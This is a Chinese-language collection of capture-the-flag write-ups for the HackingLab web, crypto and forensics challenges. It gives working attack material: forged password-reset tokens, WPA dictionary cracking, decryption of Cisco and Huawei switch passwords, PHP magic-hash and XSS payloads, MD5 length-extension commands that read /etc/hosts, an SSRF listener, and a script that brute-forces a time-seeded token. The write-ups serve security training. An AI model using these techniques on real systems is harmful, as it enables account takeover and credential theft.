1.以管理员身份登录系统补充说明:假设除了admin用户,其它用户的邮箱都可被登录获取重置密码的链接。
正确答案:yestimeispassword
解题思路:
打开链接,既然题目说不需要登录,那么就试试忘记密码,尝试以admin的身份重置密码
只有弹窗,没有任何提示,于是尝试用其他的用户,发现返回不一样
处于好奇就点开链接
貌似没有其他的提示,不过不要忘了查看源码,说不定会有收获
1.一个奇怪的链接地址
(http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php?sukey=########&username=a)
2.Tips 重置管理员密码即可得到key值
由此猜想会不会是伪造一个admin用户重置的链接去访问然后就可以的到flag,因为链接的参数实在是很可疑,而且在开头就有提示admin收到重置链接于是尝试对啊链接下手,用bp抓链接的包,会发现这个sukey的值在不断的变化目前不知道是什么,对各个页面乱抓后,没有发现其他的信息,所以sukey就是关键
关键
重点关注产生重置链接的包和Sukey
会发现这服务器的时间有点毛病啊(难道在国外,咋还差8个小时),数了数Sukey的长度发现32位,就有可能是MD5加密(解密解密肯定是什么加密嘛),于是拿去解密
然后我就猜不出来这是啥了,有经验的小伙伴就知道这是时间戳进行哈希摘要最后形成的Sukey(其实上面服务器的时间也给出了一点提示)
这里我们验证一下
发现思考解决问题就是先用admin重置密码进行抓包获取时间(注意时间差八个小时用unix时间戳的时候自己加上八个小时)然后去Unix时间戳转换你获取的时间得到(Unix timestamp)然后再去进行MD5加密(注意是32位小不能是别的不然不会成功)即可,最后构造访问地址(依据除admin重置密码时会产生的链接地址修改对应参数实际也就是sukey和username的值)
https://www.sojson.com/md5/(MD5加密)
https://tool.chinaz.com/Tools/unixtime.aspx(时间戳转换工具)
然后构造地址
http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php?sukey=9938760c01713466371366d90d4cbfd2&username=admin
然后就可以获取key值
2.邂逅对门的妹纸小明想要认识对门的漂亮妹纸,但又不好意思直接去敲门,但是小明知道妹纸今年(2014年)上大三(提交wifi密码的md5 32位小写)
正确答案:e1a45d0d24cb87490b9efb2fc2e8a2ba
解题步骤与思路:
先你要下载一个EWSA软件(下载的时候要带有注册码的不然当你破解密码后不会明文输出)用于爆破无线密码告诉了年龄信息,就说明有可能是用生日设置的密码,所以当破解出密码来的时候md5 32位小写直接以转换就是所需的答案
方法:
首先你要下载Wifi-Crack.cap文件
然后打开EWSA导入你刚刚保存的文件选择import data的第一个
然后倒入自己的字典这里的字典用的是从1990-2013年所有生日组成的这里用python创建字典dic.txt
with open("dic.txt","w") as f:
for year in range(1990,2014):
for month in range(1,12):
for day in range(1,32):
f.write("%d%02d%02d\n" % (year,month,day))
字典为:
19900101
19900102
19900103
19900104
........
20131128
20131129
20131130
20131131
点击Options选择AttackOptions
然后导入刚刚生成的dict.txt然后将Passwrod mutation options里面的选项全部取消
然后就可以开始了
点击Start attack选择第一个Dictionary Attack即可然后就会出现成功
然后将数据转成MD5(32位小)即可
https://www.sojson.com/md5/
3.万恶的Cisco小明入侵了某企业内网,成功的从一管理员电脑获取了某型号交换机running-config文件,发现以下密码02070D48030F1C294940041801181C0C140D0A0A20253A3B请你帮他破解该密码。
正确密码是:aishishenmadongxi@Admin
搜了一下,发现是cisco型密码找到了一个网站直接解密
http://www.ifm.net.nz/cookbooks/passwordcracker.html
4.万恶的加密
提示是某huawei/h3c交换机密码,搜了搜是DES加密,Windows 下跑不了这个脚本,放到 Kali 下,成功拿到 flag。
正确密码:84432079
# coding=utf-8
from Crypto.Cipher import DES
def decode_char(c):
if c == 'a':
r = '?'
else:
r = c
return ord(r) - ord('!')
def ascii_to_binary(s):
assert len(s) == 24
out = [0]*18
i = 0
j = 0
for i in range(0, len(s), 4):
y = decode_char(s[i + 0])
y = (y << 6) & 0xffffff
k = decode_char(s[i + 1])
y = (y | k) & 0xffffff
y = (y << 6) & 0xffffff
k = decode_char(s[i + 2])
y = (y | k) & 0xffffff
y = (y << 6) & 0xffffff
k = decode_char(s[i + 3])
y = (y | k) & 0xffffff
out[j+2] = chr(y & 0xff)
out[j+1] = chr((y>>8) & 0xff)
out[j+0] = chr((y>>16) & 0xff)
j += 3
return "".join(out)
def decrypt_password(p):
r = ascii_to_binary(p)
r = r[:16]
d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
r = d.decrypt(r)
return r.rstrip("\x00")
if __name__ == '__main__':
miwen = "aK9Q4I)J'#[Q=^Q`MAF4<1!!"
print u'明文' + decrypt_password(miwen)
写好之后直接在kali的命令框中输入python 加路径(如python /root/下载/01.py)则答案就会出现
5.喜欢泡网吧的小明
正确答案:cardcrack_skill_get!
点开通关地址发现让下载dump文件要打开dump文件还需下载一个WinHex软件不然一般电脑上所有的文件无法打开dump文件
然后用winhex打开dump文件仔细观察发现从第八行开始之后都是重复数据,后边的应该没什么用而第一行数据混乱所以有两种方法:
第一种:
可以把第行数据都修改成0上传一下试试(因为这里提示显示的是:导致卡片数据产生一个字节的错误,一个字节占8位二进制数字,而一个十六进制数占4个二进制数字所以应该第一行和第二行都是0)发现显示正确有100元
第二种:
先修复字节错误,看了提示,错误出现在第一行,文件头应该有始有终,测试后发现是将第一个AA改为8A
然后上传试试发现显示正确
显示余额 100 块,100 转为 16 进制是 64,数据里并没有这样的地方,仔细观察,分别转换几处不一样的数据,发现 2710 转换为十进制是 10000,原来是考虑了两位小数。。。那么把两处 2710 改为4e20 再试试。因为2710写反所以4e20也得写反所以修改成204e
然后上传成功
6.异常数据Tips:key就是解密结果
正确答案:hey!IloveU!
妹子给了一个谜语序列:AGV5IULSB3ZLVSE=
乍一看就是base64加密,但是直接解不出来
体术说的是异常数据,看了看,全是大写,应该是把大小写都转成大写了,用脚本
# coding=utf-8
from base64 import *
import re
def dfs(res, arr, pos):
res.append(''.join(arr))
i = pos
for i in range(i, len(arr)):
if arr[i] <= 'Z' and arr[i] >= 'A':
arr[i] = arr[i].lower()
dfs(res, arr, i + 1)
arr[i] = arr[i].upper()
arr = list('AGV5IULSB3ZLVSE=')
res = []
dfs(res, arr, 0)
res_decode = map(b64decode, res)
for i in res_decode:
if re.findall(r'\\x', repr(i)):
continue
else:
print (i)
也还可以大小写逐个变化然后进行base64解码,
最后可以也试出key值:hey!IloveU!
7.md5真的能碰撞嘛
正确答案:yesyouareclever!
解题思路:
1.打开网址,查看code.txt
然后将rootadmin的值进行MD5加密加密出来是:0e332932043729729062996282883873
这里利用了php的弱类型总结可以在本人其他篇章看到
然后你就会知道这里MD5加密rootadmin的值最终比较的时候是0
所以就可以利用经常表示为0的并且MD5加密之后首两位是0e的
payload为password=240610708或者QNKCDZO
然后就可以用hackbar用post传值把password传入即可成功
8.小明爱上了一个搞硬件的小姑凉
正确答案:iloveyou,xiaoguniang!
解题思路
这道题就是要查看该数据包的内容,所以要下可以打开文件的应用软件
1、搜索嵌入式逻辑分析仪,发现搜索结果太多
2、用winhex打开文件,看到一行提示
Saleae Async Serial Analyzer,应该就是下载这个软件了
3、用软件打开文件,得到
4、注意comma是逗号即可,key为iloveyou,xiaoguniang!
软件下载链接:https://www.saleae.com/downloads/ ,注意不要下老版本,可能出不来key
参照:https://blog.csdn.net/qq_40980391/article/details/81257041
9.有签名限制的读取任意文件(看了好久看不懂之后学的多了再回过头来看,只能先抄大佬的博客)
看到第一条 tip 我就想到了之前做过的一道题,参见之前的 writeup,攻击原理可以看这篇文章。
正确答案:Md5LenghtExtAttackNowYouSee
右键源代码可以看到源码。
<?php
header("Content-type:text/html;charset=utf-8");
include "_flag.php";
include "salt.php";
$mysalt=SALT;
if(isset($_GET['filepath'])&&!empty($_GET['filepath']) &&isset($_GET['sign']) &&!empty($_GET['sign'])){
myreadfile($_GET['filepath'],$mysalt,$_GET['sign']);
}
else{
//降低一点复杂度
var_dump(strlen($mysalt));
testsign("/etc/hosts",$mysalt);
}
function myhash($message,$mysalt){
return md5($mysalt.$message);
}
function checksign($message,$mysalt,$sign){
if($sign==myhash($message,$mysalt)){
return True;
}else{
return False;
}
}
function myreadfile($filepath,$mysalt,$sign){
$res=checksign($filepath,$mysalt,$sign);
if($res){
echo getfile($filepath);
}
else{
echo 'sign error!';
}
}
function testsign($filepath,$mysalt){
echo myhash($filepath,$mysalt);
}
echo "<!--".file_get_contents(__FILE__);
利用 hash_extender 或是 HashPump 进行攻击。
**hash_extender**
chen@vmware:~/桌面/hash_extender$ ./hash_extender -f md5 -l 32 -d '/etc/hosts' -s 'f3d366138601b5afefbd4fc15731692e' -a '' --out-data-format=html
Type: md5
Secret length: 32
New signature: 1b17d9594eb404c97c5090b11660ac63
New string: %2fetc%2fhosts%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00
**HashPump**
╭─root@kali ~/Desktop/HashPump ‹master*›
╰─$ hashpump -s f3d366138601b5afefbd4fc15731692e -d /etc/hosts -k 32 -a /etc/hosts
75221e2e5cd1cd1c7694cbd386571ffe
/etc/hosts\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00P\x01\x00\x00\x00\x00\x00\x00/etc/hosts
可以看到两个工具都可以得到 payload,但是 HashPump 必须加上 add 的内容,否则不能生成,且 payload 还需要手工转换成 URL 编码才可以,从这一点上看 hash_extender 更胜一筹,但在 Kali 下,hash_extender 编译不通过,我只能装了个 Ubuntu 才弄好。不过 HashPump 也需要安装 libssl-dev 包才行。
最终的 payload:
http://lab1.xseclab.com/decrypt1_53a52adb49c55c8daa5c8ee0ff59befe/md5_le.php?filepath=%2fetc%2fhosts%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00%2fetc%2fhosts&sign=75221e2e5cd1cd1c7694cbd386571ffe
参照:https://www.zhihu.com/column/p/21740238?utm_medium=social&utm_source=weibo
10. 美丽的邂逅与密码器的开门密码
下载得到一个exe文件,先运行一下
提示输入key
用idea打开找到main()主函数,F5生成伪代码
可以看到v19变量用来接收输入,当v18==1时会输出一串字符串,否则输入error,这些字符串应该就是flag了
方法一:
最简单粗暴的方法是将v1到v16的值进行ASCII解码,就是对应的Flag
0h_No_u_f0und_m3
方法二:
跟进sub_401005()函数
又调用了sub_401020()函数,继续跟进
这个函数获取了传入的参数a1的长度,如果长度大于50就返回1(true)。
所以只需要输入的字符串长度大于50就行了
综合关
1.渗透测试第一期
正确答案:yesBindphoneErrorGood
步骤:
1.点开通关地址然后点击Regist实行注册注册的时候就不能直接用admin注册你可以随便先注册一个例如Username=123456 Passwrod=123456然后会出现regist ok
2.接下来就是绑定手机了,这里就可以抓包来修改用户名了点击右键会出现你可以用的手机号然后发送验证码,再绑定的时候抓包,就可以改用户名了
改为
改完之后重新点开通关地址点开Forget Password,然后输入用户名再用刚刚的电话号码然后获取验证码然后进行重置然后再登录用admin和刚刚跳出的密码即可登陆成功看见key值
2.没有注入到底能不能绕过登录(不是sql注入)
正确答案:sdfas%&kjdsfha
解题步骤:
打开通关地址看有没有什么提示,发现啥也没有
然后看见有爆破,所以用burp suite进行爆破最后得到弱口令账号test,密码test
然后就用这个登录发现还是没有出现key,反而是告诉你key在admin主页面
然后我们用御剑扫描一下看这个地址下面有什么然后发现了robots.txt
robots.txt是一个纯文本文件,在这个文件中网站管理者可以申明该网站中不想被搜索引擎访问的部分,或者指定搜索引擎值收录指定的内容,当一个搜索引擎(又称搜索机器人或蜘蛛程序)访问一个站点时,他会首先检查该站点目录先是否存在robots.txt。如果存在,搜索机器人就会按照该文件中的内容来去认定访问的范围;如果该我呢见不存在,那么搜索机器人就沿着链接抓取
然后点击robots.txt
说明让继续访问/myadminroot/(在之前已经用test用户名,和test密码登陆后)然后又出现让用admin登录
所以我们就想的用用户名为admin然后密码随便写然后再把地址上加上/myadminroot/即可出现key值
然后在这个页面进行抓包不然出现key值的页面跳转了(试了几次有时会跳有时不会所以还是抓包保险)
然后发送给repeater点击发送即可
3.美图闪亮亮交友平台(不咋理解有可能是因为开启服务器端口的原因)
正确答案:woaimeizhiwozimeizhi@112
首先按照我的习惯查看了一下源代码,发现有两个提示
<!-- 据说没有后台就不会被获取敏感信息,本题需要发散思维。当然也可能很简单 -->
<!-- 如果觉着sae网络有问题,就访问一下这个地址,传入url,看下能否到你的服务器 http://lab1.xseclab.com/xss4_730ee2b59ca3b71c25efa2147498b35e/test.php [POST] url=http://baidu.com/ -->
p.s. 刚开始觉得这个提示云里雾里的,但是等到最后得到flag的时候会觉得这个提示很到位啊·。·
然后就是一通操作,发现这个姓名和描述是没有限制的,但是图片url规定了输入的是一个url,类型可以抓包改或者直接改html。尝试了很多输入是可以注入xss的,比如
https://www.baidu.com/img/PCfb_5bf082d29588c07f842ccde3f97243ea.png" οnclick="alert(1)" "
不过既然在题目里都说了是没有xss漏洞的,所以就没有再继续了。
然后就陷入困境了-。-
后来去网上冲浪,看到了很多文章最后有了解法。
解题思路
既然没有后台,那么这个网站在显示图片的时候必然是通过管理员去访问图片所在的url地址来获取图片的(题目里也都给了提示),所以如果我们把图片的地址输入为我们自己服务器的地址,然后写一个程序去监听,那么不就可以获得这个管理员的邮箱了吗?
下面是具体操作:
我是用了python写的监听我服务器8889端口(不要忘记打开端口)代码
import socket
# 创建套接字
skt = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
# 设置地址可重用
skt.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# 绑定主机和端口
skt.bind(('0.0.0.0', 8889))
# 监听服务
skt.listen(5)
if __name__ == '__main__':
while True:
print('waiting for connection...')
tcpCliSock, addr = skt.accept()
print('...connnecting from:', addr)
while True:
data = tcpCliSock.recv(1024)
if not data:
break
print(data)
tcpCliSock.close()
tcpSerSock.close()
首先在服务器上运行代码
然后在图片url中输入服务器地址
接着点提交就会发现服务器上出现了数据包
最后访问这一个网址就可以找到flag了
原文链接:https://blog.csdn.net/xzz2333/article/details/109514039
4.最简单的数字取证1分值
正确答案:HackingLabHdd1b7c2fb3ff3288bff
根据题意,这应该是一道逆向题目,那么使用逆向工具ida
题目解题过程:
1.用ida打开.exe文件,选项默认即可
2.Search->text,输入key,忽略大小写
3.看到aKeyHackinglabh,那么很显然下面就是密码了。
4.右键copy,得到seg000:0000000000052368 aKeyHackinglabh db 'key: HackingLabHdd1b7c2fb3ff3288bff',0
5.这就是要的答案了 HackingLabHdd1b7c2fb3ff3288bff
5.最简单的数字取证2
正确答案:HackingLabHdd1198812305980ab1
题目分析:
1.看到题目首先想到用逆向工具IDA打开,搜key,发现有个key出来,然后提交答案发现不对。
2.转换思路,题目说资料被黑客删除了,那么想到用磁盘恢复工具DiskGenius
题目解题过程:
1.用工具DiskGenius打开文件HackingLab-hdd1.vmdk,(硬盘->打开虚拟硬盘文件)
2.看到RECYCLER下面有个,Del.txt,单击它,里面就是要的key ,答案为 HackingLabHdd1198812305980ab1
————————————————
版权声明:本文为CSDN博主「yangjunguang」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/yangjunguang/article/details/81198781
6.小明学习代码审计(完全看不懂)
访问题目地址得到如下源码:
Please Reset Your Password Then Get your flag!
<a href="./resetpwd.php"></a>
根据链接的复制访问resetpwd.php,并查看网页源码,发现注释中有PHP代码:
<?php
session_start();
include '_flag.php';
date_default_timezone_set('Asia/Shanghai');
if(isset($_POST['token']) && isset($_SESSION['token']) &&!empty($_POST['token'])&&!empty($_SESSION['token'])){
if($_POST['token']==$_SESSION['token']){
echo "PassResetSuccess! Your Flag is:".$flag;
}else{
echo "Token_error!";
}
}else{
mt_srand(time());
$rand= mt_rand();
$_SESSION['token']=sha1(md5($rand));
echo "Token Generate Ok! now send email to your EmailBox!.....";
if(sendmymail($_SESSION['token'])){
echo "SendOK! \r\n<br> Your password reset Token has been send to your mailbox! <br>Please Check your mail box and fill your token here to reset your password!<br>";
};
}
echo '<form action="" method="POST">
<input type="text" name="token">
<input type="submit" value="submit">
</form>';
echo "<!--\r\n".file_get_contents(__FILE__);
?>
post 提交的 token 和生成的一样时,返回 flag,而生成 token 用到了以时间戳为种子的随机数的哈希,这好像就只能用 PHP 来写脚本做题了。。。(但是你得先下载php的requests)
<?php
include('D:\phpStudy\WordPress-Requests-afbe479\library\Requests.php');
Requests::register_autoloader();
$time1 = time();
for($i = -10; $i < 10; $i ++)
{
echo $i . 'Time: ' . time();
mt_srand($time1 + $i);
$rand = mt_rand();
echo $rand . "\r\n";
$token = sha1(md5($rand));
$data = array('token' => $token);
$headers = array('Cookie' => 'PHPSESSID=2ac82ed4e1bd98aebf0fc0b3fe50f704');
$response = Requests::post('http://lab1.xseclab.com/pentest6_210deacdf09c9fe184d16c8f7288164f/resetpwd.php', $headers, $data);
// echo $response->body . "\r\n\r\n";
if(strpos($response->body, "Token_error"))
{
echo $response->body;
break;
}
}
跑脚本之前好像先得访问一下重置密码地址让服务器生成 token,还需要安装好 PHP 的 Requests 库。
得到flag
PassResetSuccess! Your Flag is:NotSecurityRandomNowYouKnown